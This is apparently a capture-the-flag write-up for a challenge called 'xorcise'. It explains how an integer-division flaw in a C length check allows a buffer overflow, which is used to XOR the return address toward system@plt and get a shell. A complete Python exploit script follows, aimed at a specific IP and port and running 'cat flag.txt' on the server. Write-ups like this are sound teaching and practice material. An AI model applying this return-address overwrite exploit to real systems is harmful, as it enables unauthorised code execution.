We were given a server which allows us to execute certain commands. We noticed a bug in the following code:

    #define BLOCK_SIZE 8
    #define MAX_BLOCKS 16
    ...
    uint8_t buf[MAX_BLOCKS * BLOCK_SIZE]; 
    ...
    memcpy(buf, data->bytes, sizeof(buf));
    if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
    {
        data->length = BLOCK_SIZE * MAX_BLOCKS;
    }

    for (loop = 0; loop < data->length; loop += 8)
    {
        for (block_index = 0; block_index < 8; ++block_index){             
            buf[loop+block_index]^=(xor_mask^data->key[block_index]);
        }
    }

We control data->length and data->key. The loop will loop until the loop variable becomes greater than data->length; thus we are meant to be able to write at most 128 bytes into buf[] which is 128 bytes big.

However, in C integer divisions always round down. So if we let data->length be 135, then data->length/BLOCK_SIZE will be equivalent to 16; thus the length check passes without any problems! Then we can make the loop xor the next 7 bytes after buf. This lets us overwrite the loop variable, and then we can make the statement buf[loop+block_index] xor whatever bytes we want, since we also control data->key.

We let the value of loop+block_index be just such that the 2 LSBs of the return address are XORed. We manipulate them to point to system@plt since system is in the binary. Then, when we return, we ret2system, and the argument to system is the third word on the stack; it happens to point to the beginning of our user input, so we can put our command there! Then we just rewrite fds and easily get a shell.

$ python exploit-xorcise.py 
flag{code_exec>=crypto_break}

Exploit is attached below. – immerse

import socket, struct, time, telnetlib, sys
from cryptolib import * 

s = socket.create_connection(("128.238.66.227", 24001))

cmd = "cat flag.txt >&4" + chr(0)
xor_mask = 0x8f
length = 135

key  = chr(0) # xor_mask
key += chr(0)*4 # don't mess up block_index
key += chr( (0x99 - 6) ^ 0x80 )  # make loop+b_i point to ret addr
# overwrite 2 LSBS of ret to get system@plt
key += chr( 0x94 ^ 0x60 )
key += chr( 0x91 ^ 0x87 )

xor_cmd = xor(cmd, key)
xor_cmd = xor(xor_cmd, chr(xor_mask))

payload  = chr(length) + key
payload += xor_cmd
payload += "P"*(length - len(payload))
s.send(payload)

time.sleep(1)

for i in range(10):
    print s.recv(1024)
    sys.stdout.flush()
                   
s.close()